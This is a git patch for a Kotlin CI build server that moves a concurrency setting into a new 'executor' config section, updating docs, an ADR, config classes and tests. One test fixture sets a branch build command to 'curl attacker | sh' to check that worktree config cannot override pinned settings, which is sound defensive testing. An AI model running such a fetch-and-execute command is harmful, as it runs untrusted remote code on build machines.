From 495b7f3282fca13075e599da77ef0ab25e446667 Mon Sep 17 00:00:00 2001 From: mhoennig Date: Fri, 28 Aug 2026 20:57:18 +0200 Subject: [PATCH] Move the concurrency limit to executor.maxConcurrent MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit builds.maxConcurrent mixed an execution setting into the build definitions as a reserved key. The limit now lives in the new executor section (pinned like the builds section, enforced for all builds regardless of trigger), default 1, without a compatibility alias — a leftover builds.maxConcurrent key is rejected as an invalid build definition. Recorded as a follow-up in ADR 0007. Co-Authored-By: Claude Fable 5 --- .claude/skills/architecture/SKILL.md | 2 +- .../adrs/0007-2026-08-28.build-definitions.md | 7 +++-- docs/configuration.md | 24 ++++++++------- .../hoennig/gittally/build/BuildExecutor.kt | 16 +++++----- .../hoennig/gittally/commands/InitCommand.kt | 10 ++++--- .../hoennig/gittally/config/ConfigLoader.kt | 30 +++---------------- .../hoennig/gittally/config/GitTallyConfig.kt | 22 ++++++++------ .../gittally/server/BuildsApiController.kt | 6 ++-- .../gittally/build/BuildExecutorTest.kt | 4 +-- .../gittally/config/ConfigLoaderTest.kt | 20 +++++++------ 10 files changed, 67 insertions(+), 74 deletions(-) diff --git a/.claude/skills/architecture/SKILL.md b/.claude/skills/architecture/SKILL.md index 8d76e24..68fd0eb 100644 --- a/.claude/skills/architecture/SKILL.md +++ b/.claude/skills/architecture/SKILL.md @@ -54,7 +54,7 @@ Three places must stay in sync when config keys change: the `GitTallyConfig` dat ## Build Execution -`BuildExecutor` runs builds asynchronously: up to `builds.maxConcurrent` branches concurrently (default 1), but never more than one build per branch at a time. Each branch builds in its own reusable git worktree at `.git/gittally/worktrees/` (`BranchWorkspaces`), checked out detached at the requested commit — the primary checkout is never used for builds. Status transitions are persisted via `BuildResultRepository` (JSON file under `.git/gittally/`), published to Gitea non-fatally, and emitted as `BuildStatusChangedEvent`s. Every run belongs to a named build definition (job, ADR 0007): the YAML `builds` section (reserved key `maxConcurrent` split off by `ConfigLoader`, section pinned against the worktree layer) defines triggers (`onPush`, `atTimes`), branch selectors (`branches` globs, `activeWithin`), and build-setting overrides applied last over the merged branch config; the implicit `default` build (`onPush`, all branches) preserves the job-less behavior. `BuildResult.build` records the job; restart, retry, and startup recovery re-run by that name, resolving settings from the *current* config. `BuildResult.name` — the pool, `@` for non-default builds — keys everything display- and retention-side (repository grouping via `latestPerName`, retention pools, branches-view rows, permanent latest-green links), while `BuildResult.branch` keys everything git-side: origin lookups, gone-from-origin pruning, worktrees (every build runs in its branch's worktree, serialized per branch), and Gitea links/statuses. `branches.*.autoBuild` survives as a deprecated alias for a scheduled default-pool rebuild. Cancellation addresses a build by artifact key and terminates the whole process tree. Future code (watcher, server, UI) must not assume a single running build. +`BuildExecutor` runs builds asynchronously: up to `executor.maxConcurrent` branches concurrently (default 1), but never more than one build per branch at a time. Each branch builds in its own reusable git worktree at `.git/gittally/worktrees/` (`BranchWorkspaces`), checked out detached at the requested commit — the primary checkout is never used for builds. Status transitions are persisted via `BuildResultRepository` (JSON file under `.git/gittally/`), published to Gitea non-fatally, and emitted as `BuildStatusChangedEvent`s. Every run belongs to a named build definition (job, ADR 0007): the YAML `builds` section (pinned against the worktree layer, like the `executor` section holding `executor.maxConcurrent`) defines triggers (`onPush`, `atTimes`), branch selectors (`branches` globs, `activeWithin`), and build-setting overrides applied last over the merged branch config; the implicit `default` build (`onPush`, all branches) preserves the job-less behavior. `BuildResult.build` records the job; restart, retry, and startup recovery re-run by that name, resolving settings from the *current* config. `BuildResult.name` — the pool, `@` for non-default builds — keys everything display- and retention-side (repository grouping via `latestPerName`, retention pools, branches-view rows, permanent latest-green links), while `BuildResult.branch` keys everything git-side: origin lookups, gone-from-origin pruning, worktrees (every build runs in its branch's worktree, serialized per branch), and Gitea links/statuses. `branches.*.autoBuild` survives as a deprecated alias for a scheduled default-pool rebuild. Cancellation addresses a build by artifact key and terminates the whole process tree. Future code (watcher, server, UI) must not assume a single running build. On context close (e.g. systemd SIGTERM), a `ContextClosedEvent` listener in `BuildExecutor` terminates the process trees of all executing builds and waits (bounded) until their results are persisted as INTERRUPTED — a shutdown is never recorded as FAILED. Builds still queued stay PENDING and start no process. Both are re-enqueued by the watcher's startup recovery; INTERRUPTED therefore publishes as Gitea state `pending`, not `failure` (`GiteaStateMapping`). diff --git a/docs/adrs/0007-2026-08-28.build-definitions.md b/docs/adrs/0007-2026-08-28.build-definitions.md index 8629116..3163709 100644 --- a/docs/adrs/0007-2026-08-28.build-definitions.md +++ b/docs/adrs/0007-2026-08-28.build-definitions.md @@ -77,7 +77,7 @@ Semantics: - **Pool identity**: the `default` build records under the branch name (URLs, rows, retention as before); every other build records under `@` (URL-sanitized, e.g. `/branches/master_pitest/…`). Each pool keeps its own retention count, latest status, and permanent latest-green link. - **Persistence**: the result stores the build's name (`build`, default `default`) next to the branch; the derived pool name keeps keying grouping and display. The v0.9.13 `buildCommandOverride` field is dropped: restart, retry, and startup recovery re-resolve the command from the *current* config by (branch, build) — a job definition in config is the source of truth, so a re-run of an old result uses the job's current command. - **Triggers in the watcher**: `onPush` uses the existing change detection per pool ("already built" per pool and commit); `atTimes` fires once per day per slot per pool (state file keyed by pool, date, time). The `branches..requirePullRequest` gate stays a branch property and gates all watcher-triggered builds of that branch, as today. -- **Execution invariants unchanged**: every build of a branch runs in that branch's worktree, at most one build per branch at a time, `builds.maxConcurrent` across branches, Gitea commit status per commit in the shared status context (last build of a commit wins). +- **Execution invariants unchanged**: every build of a branch runs in that branch's worktree, at most one build per branch at a time, `executor.maxConcurrent` across branches, Gitea commit status per commit in the shared status context (last build of a commit wins). Compatibility and migration: @@ -112,5 +112,8 @@ Keep `autoBuild` (including the v0.9.13 slot syntax) forever next to `builds`. ## Decision Outcome -Top-level `builds` with `onPush`/`atTimes`, as specified above; the reserved key `maxConcurrent` stays in the same section for compatibility. +Top-level `builds` with `onPush`/`atTimes`, as specified above. `branches.*.autoBuild` stays as a deprecated, mapped alias; the v0.9.13 slot extras are reverted. + +Follow-up (2026-08-28): mixing the execution key `maxConcurrent` into the `builds` section as a reserved key proved confusing — it is not a build definition. +The concurrency limit moved to `executor.maxConcurrent` (a new section for execution settings), without a compatibility alias, so the `builds` section holds build definitions only. diff --git a/docs/configuration.md b/docs/configuration.md index 76670e8..22a6c9f 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -24,13 +24,13 @@ This layer applies **only** to the build itself. A pinned set is always taken fr install/project config and can never be set from the worktree: - secrets and server-side settings: the whole `git`, `gitea`, and `server` sections; -- the whole `builds` section: build definitions and `maxConcurrent`; +- the whole `builds` (build definitions) and `executor` sections; - the container sandbox policy: `docker.enabled` and `docker.network`. This keeps a branch from disabling its own build container, changing its network mode, or -reaching credentials. The whole `builds` section (build definitions and `maxConcurrent`) -and the deprecated `autoBuild` schedules are pinned too — jobs and their triggers are -server-side decisions made before a build worktree exists. +reaching credentials. Jobs and their triggers are server-side decisions made before a +build worktree exists, so the deprecated `autoBuild` schedules are read from the repo +install/project config as well. ## Inspect the Effective Config @@ -85,14 +85,17 @@ gitea: repo: my-repo # repository name statusContext: GitTally # label shown on Gitea commit status checks (default: GitTally) -# Build execution and named build definitions (jobs, see notes below). -# "maxConcurrent" is a reserved key; every other key names a build definition. -builds: - # How many branches may build at the same time. +# Build execution settings, enforced for all builds regardless of their trigger +# (watcher, UI restart, CLI build/retry). +executor: + # How many builds may run at the same time. # At most one build per branch runs regardless; each branch builds in its own # git worktree under .git/gittally/worktrees/, never in the primary checkout. # Changing this value requires a restart. maxConcurrent: 1 + +# Named build definitions (jobs, see notes below); every key names a build. +builds: # Implicit unless overridden: the default build runs on push over all branches # with the branch's regular settings — exactly the behavior without any # build definitions. Set onPush: false here to disable on-push builds. @@ -245,7 +248,7 @@ For such origins, disable all gates globally with `watcher.pullRequestGate: fals ### Notes on `builds` (build definitions) -Next to the reserved execution key `maxConcurrent`, every key of the `builds` section names a build definition (a job) over the branches — ADR 0007. +Every key of the `builds` section names a build definition (a job) over the branches — ADR 0007. A build definition has triggers, a branch selector, and build-setting overrides. Triggers: `onPush: true` builds every new commit of the selected branches; `atTimes: ["HH:MM", …]` rebuilds their heads once per day and slot (UTC). @@ -259,7 +262,7 @@ The `branches..requirePullRequest` gate stays a branch property and gates Overrides: `buildCommand`, `cleanCommand`, `artifactDirs`, `stdoutLog`/`stderrLog`, and the docker image keys (`image`, `dockerfile`, `context`, `env`). The effective settings of one build on one branch merge in this order: defaults → `branches.default` → `branches.` → the worktree's committed `.gittally.yml` → the build definition's overrides. Unset keys fall back; the definition wins last because it is the job. -The whole `builds` section is pinned: it always comes from the repo install/project config, and the `.gittally.yml` committed on a branch can neither define jobs nor change `maxConcurrent`. +The `builds` and `executor` sections are pinned: they always come from the repo install/project config, and the `.gittally.yml` committed on a branch can neither define jobs nor change the concurrency. The implicit `default` build (`onPush: true`, all branches) preserves the behavior without any definitions; defining other builds does not disable it, `builds.default.onPush: false` does. The `default` build records under the plain branch name; every other build records under `@` with its own row in the branches view (sorted after its branch), its own `retentionPerBranch` count, latest status, and permanent latest-green artifact link. @@ -270,6 +273,7 @@ The builds still run in their branch's worktree, one build per branch at a time, `branches..autoBuild` (`enabled` + `times`) is the deprecated pre-ADR-0007 schedule, kept for compatibility: it rebuilds the branch's own pool with its regular command and logs a deprecation warning. `autoBuild.times` entries carrying their own `buildCommand`/`name` (a short-lived v0.9.13 syntax) are no longer supported — use a build definition. +The concurrency limit that used to live in this section moved to `executor.maxConcurrent` without an alias — a leftover `builds.maxConcurrent` key is rejected as an invalid build definition. ### Notes on `watcher.fastForwardLocalRefs` diff --git a/src/main/kotlin/de/hoennig/gittally/build/BuildExecutor.kt b/src/main/kotlin/de/hoennig/gittally/build/BuildExecutor.kt index 6216f28..aef2021 100644 --- a/src/main/kotlin/de/hoennig/gittally/build/BuildExecutor.kt +++ b/src/main/kotlin/de/hoennig/gittally/build/BuildExecutor.kt @@ -26,7 +26,7 @@ import java.util.concurrent.atomic.AtomicBoolean import kotlin.concurrent.thread /** - * Runs builds asynchronously: up to `builds.maxConcurrent` branches at the same time + * Runs builds asynchronously: up to `executor.maxConcurrent` branches at the same time * (default 1), but never more than one build per branch. Each branch builds in its * own git worktree via [BranchWorkspaces], never in the primary checkout. * Every status transition is persisted via the [BuildResultRepository], published @@ -50,7 +50,7 @@ class BuildExecutor( /** All accepted, not yet finished builds by artifact key — queued and running. */ private val builds = ConcurrentHashMap() - /** Global concurrency limit; sized from `builds.maxConcurrent` on first use. */ + /** Global concurrency limit; sized from `executor.maxConcurrent` on first use. */ @Volatile private var slots: Semaphore? = null @@ -116,12 +116,12 @@ class BuildExecutor( ) repository.append(pending) eventPublisher.publishEvent(BuildStatusChangedEvent(pending)) - val build = ActiveBuild(runningBuild, workingDir) - builds[runningBuild.artifactKey] = build - publishGiteaStatus(build, BuildStatus.PENDING, duration = null) + val activeBuild = ActiveBuild(runningBuild, workingDir) + builds[runningBuild.artifactKey] = activeBuild + publishGiteaStatus(activeBuild, BuildStatus.PENDING, duration = null) branchWorkers .computeIfAbsent(branch) { serialWorker(it) } - .submit { execute(build) } + .submit { execute(activeBuild) } return runningBuild } @@ -232,7 +232,7 @@ class BuildExecutor( /** * The semaphore is sized once from the first build's config; - * changing `builds.maxConcurrent` requires a restart. + * changing `executor.maxConcurrent` requires a restart. */ private fun slotsFor(workingDir: Path): Semaphore { slots?.let { return it } @@ -241,7 +241,7 @@ class BuildExecutor( val maxConcurrent = configLoader .load(workingDir) - .builds.maxConcurrent + .executor.maxConcurrent .coerceAtLeast(1) return Semaphore(maxConcurrent, true).also { slots = it } } diff --git a/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt b/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt index 01b41df..e8b9c76 100644 --- a/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt +++ b/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt @@ -150,11 +150,13 @@ class InitCommand( repo: ${detected.repo} # repository name statusContext: GitTally # label shown on Gitea commit status checks (default: GitTally) - # Build execution and named build definitions (jobs); "maxConcurrent" is a - # reserved key, every other key names a build definition over the branches. - builds: - # how many branches may build at the same time (at most one build per branch regardless) + # Build execution settings, enforced for all builds regardless of their trigger. + executor: + # how many builds may run at the same time (at most one build per branch regardless) maxConcurrent: 1 + + # Named build definitions (jobs) over the branches; every key names a build. + builds: # Example definition — triggers (onPush/atTimes), branch selector # (branches/activeWithin), and overrides of the branch settings: # pitest: diff --git a/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt b/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt index 1660235..2c33ccf 100644 --- a/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt +++ b/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt @@ -51,30 +51,11 @@ class ConfigLoader { if (raw.isEmpty()) { GitTallyConfig() } else { - yaml.convertValue(splitBuildsSection(mergeBranchDefaults(raw)), GitTallyConfig::class.java) + yaml.convertValue(mergeBranchDefaults(raw), GitTallyConfig::class.java) } return defaultPublicBaseUrl(config) } - /** - * The YAML `builds` section carries the reserved execution key `maxConcurrent` - * next to the named build definitions (ADR 0007); the schema separates them into - * [GitTallyConfig.builds] and [GitTallyConfig.buildDefinitions]. - */ - @Suppress("UNCHECKED_CAST") - private fun splitBuildsSection(raw: Map): Map { - val builds = raw["builds"] as? Map ?: return raw - val definitions = builds.filterKeys { it !in RESERVED_BUILDS_KEYS } - if (definitions.isEmpty()) { - return raw - } - return raw + - mapOf( - "builds" to builds.filterKeys { it in RESERVED_BUILDS_KEYS }, - "buildDefinitions" to definitions, - ) - } - /** * Removes the keys a build worktree must never override: the secret/server-side * top-level sections and the per-branch docker sandbox policy. See [loadForWorktree]. @@ -163,13 +144,10 @@ class ConfigLoader { companion object { /** * Top-level sections a build worktree must never override: secrets, server-side - * settings, and the build definitions with their execution settings (a branch - * must not be able to redefine jobs or raise concurrency). + * settings, the build definitions, and the concurrency limit (a branch must not + * be able to redefine jobs or raise concurrency). */ - private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "builds") - - /** Keys of the YAML `builds` section that are execution settings, not build definitions. */ - private val RESERVED_BUILDS_KEYS = setOf("maxConcurrent") + private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "builds", "executor") /** Per-branch `docker` keys the worktree must never override: the sandbox policy. */ private val PINNED_DOCKER_KEYS = setOf("enabled", "network") diff --git a/src/main/kotlin/de/hoennig/gittally/config/GitTallyConfig.kt b/src/main/kotlin/de/hoennig/gittally/config/GitTallyConfig.kt index 1f44523..d439c3a 100644 --- a/src/main/kotlin/de/hoennig/gittally/config/GitTallyConfig.kt +++ b/src/main/kotlin/de/hoennig/gittally/config/GitTallyConfig.kt @@ -1,18 +1,21 @@ package de.hoennig.gittally.config +import com.fasterxml.jackson.annotation.JsonProperty + data class GitTallyConfig( val server: ServerConfig = ServerConfig(), val git: GitConfig = GitConfig(), val gitea: GiteaConfig = GiteaConfig(), - val builds: BuildsConfig = BuildsConfig(), + val executor: ExecutorConfig = ExecutorConfig(), val artifacts: ArtifactsConfig = ArtifactsConfig(), val watcher: WatcherConfig = WatcherConfig(), val branches: Map = mapOf("default" to BranchConfig()), /** - * Named build definitions (jobs) over the branches (ADR 0007). The implicit - * [BuildDefinition.DEFAULT] build (`onPush` over all branches) applies unless this - * map overrides it; see [effectiveBuildDefinitions]. + * Named build definitions (jobs) over the branches (ADR 0007), the YAML `builds` + * section. The implicit [BuildDefinition.DEFAULT] build (`onPush` over all + * branches) applies unless this map overrides it; see [effectiveBuildDefinitions]. */ + @JsonProperty("builds") val buildDefinitions: Map = emptyMap(), ) { /** The configured [buildDefinitions] plus the implicit `default` build unless overridden. */ @@ -78,11 +81,6 @@ data class GiteaConfig( val statusContext: String = "GitTally", ) -data class BuildsConfig( - /** How many branches may build at the same time; at most one build per branch regardless. */ - val maxConcurrent: Int = 1, -) - data class ArtifactsConfig( val retentionPerBranch: Int = 3, /** @@ -156,6 +154,12 @@ data class DockerConfig( val env: Map = emptyMap(), ) +/** Build execution settings, enforced by the executor for all builds regardless of their trigger. */ +data class ExecutorConfig( + /** How many builds may run at the same time; at most one build per branch runs regardless. */ + val maxConcurrent: Int = 1, +) + /** * Deprecated per-branch schedule (pre-ADR-0007), kept for compatibility: mapped to a * daily rebuild of the branch's own pool with its regular command. New configurations diff --git a/src/main/kotlin/de/hoennig/gittally/server/BuildsApiController.kt b/src/main/kotlin/de/hoennig/gittally/server/BuildsApiController.kt index cecfe58..691aaf0 100644 --- a/src/main/kotlin/de/hoennig/gittally/server/BuildsApiController.kt +++ b/src/main/kotlin/de/hoennig/gittally/server/BuildsApiController.kt @@ -53,7 +53,7 @@ class BuildsApiController( private fun BuildResult.isLatestGreen(): Boolean = repository.latestGreenFor(name)?.artifactKey == artifactKey - /** The currently executing builds — several are possible, up to `builds.maxConcurrent`. */ + /** The currently executing builds — several are possible, up to `executor.maxConcurrent`. */ @GetMapping("/api/builds/current") fun current(): List { val results = repository.history() @@ -88,8 +88,8 @@ class BuildsApiController( /** * Re-enqueues the last recorded commit of the build name [branch] — or the origin * head for a branch never built, so the branches view can trigger first builds like - * legacy. A restarted auto-slot build re-runs the command its slot dictated, under - * the slot's name. + * legacy. A restarted build re-runs its recorded build definition, with the + * settings from the current configuration. * The name is a parameter, not a path variable, because branch names may contain * slashes (Tomcat rejects encoded slashes in the path by default). */ diff --git a/src/test/kotlin/de/hoennig/gittally/build/BuildExecutorTest.kt b/src/test/kotlin/de/hoennig/gittally/build/BuildExecutorTest.kt index 3d60b62..b8d8b54 100644 --- a/src/test/kotlin/de/hoennig/gittally/build/BuildExecutorTest.kt +++ b/src/test/kotlin/de/hoennig/gittally/build/BuildExecutorTest.kt @@ -77,7 +77,7 @@ class BuildExecutorTest : FunSpec() { buildRunner: BuildRunner? = null, ) = Harness( """ - builds: + executor: maxConcurrent: $maxConcurrent branches: default: @@ -477,7 +477,7 @@ class BuildExecutorTest : FunSpec() { val h = Harness( """ - builds: + executor: maxConcurrent: 1 branches: branch-a: diff --git a/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt b/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt index d8c86ef..eec2b8f 100644 --- a/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt +++ b/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt @@ -34,25 +34,26 @@ class ConfigLoaderTest : FunSpec() { config.gitea.repo shouldBe "my-repo" } - test("reads builds.maxConcurrent and defaults it to 1") { + test("reads executor.maxConcurrent and defaults it to 1") { val dir = Files.createTempDirectory("gittally-test") - loader.load(dir).builds.maxConcurrent shouldBe 1 + loader.load(dir).executor.maxConcurrent shouldBe 1 dir.resolve(".gittally.yml").toFile().writeText( """ - builds: + executor: maxConcurrent: 3 """.trimIndent(), ) - loader.load(dir).builds.maxConcurrent shouldBe 3 + loader.load(dir).executor.maxConcurrent shouldBe 3 } - test("the builds section splits into the reserved maxConcurrent and named build definitions") { + test("the builds section holds named build definitions") { val dir = Files.createTempDirectory("gittally-test") dir.resolve(".gittally.yml").toFile().writeText( """ - builds: + executor: maxConcurrent: 2 + builds: pitest: atTimes: ["01:00"] branches: ["master", "release/*"] @@ -63,7 +64,7 @@ class ConfigLoaderTest : FunSpec() { val config = loader.load(dir) - config.builds.maxConcurrent shouldBe 2 + config.executor.maxConcurrent shouldBe 2 config.buildDefinitions shouldBe mapOf( "pitest" to @@ -103,8 +104,9 @@ class ConfigLoaderTest : FunSpec() { val worktree = Files.createTempDirectory("gittally-test-worktree") worktree.resolve(".gittally.yml").toFile().writeText( """ - builds: + executor: maxConcurrent: 99 + builds: pitest: buildCommand: curl attacker | sh """.trimIndent(), @@ -112,7 +114,7 @@ class ConfigLoaderTest : FunSpec() { val config = loader.loadForWorktree(dir, worktree) - config.builds.maxConcurrent shouldBe 1 + config.executor.maxConcurrent shouldBe 1 config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull" }